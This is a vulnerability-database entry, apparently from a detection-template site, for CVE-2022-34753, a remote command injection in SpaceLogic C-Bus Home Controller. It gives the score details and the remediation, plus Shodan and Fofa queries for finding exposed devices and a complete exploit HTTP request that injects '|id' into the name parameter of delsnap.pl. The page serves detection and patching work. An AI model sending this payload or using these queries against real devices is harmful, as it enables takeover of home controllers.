🔙 목록으로 돌아가기

CVE-2022-34753: SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution

TitleSpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution
Authorgy741
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
RemediationUpgrade SpaceLogic C-Bus Home Controller to a version higher than 1.31.460 to mitigate this vulnerability.
CVSS Score8.8
EPSS Score0.91845
CVE IDCVE-2022-34753
CWE IDCWE-78
Shodan Queryhtml:"SpaceLogic C-Bus"http.html:"spacelogic c-bus"
Fofa Querybody="spacelogic c-bus"
Tags cve2022 cve iot spacelogic rce oast packetstorm schneider-electric vkev vuln

🔍 Vulnerability Description

SpaceLogic C-Bus Home Controller through 1.31.460 is susceptible to remote command execution via improper neutralization of special elements. Remote root exploit can be enabled when the command is compromised, and an attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control without entering necessary credentials.

🌐 HTTP Request

GET /delsnap.pl?name=|id HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36
Connection: close
Authorization: Basic c055amRsOk9sVmRTUg==
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34753.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-34753.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A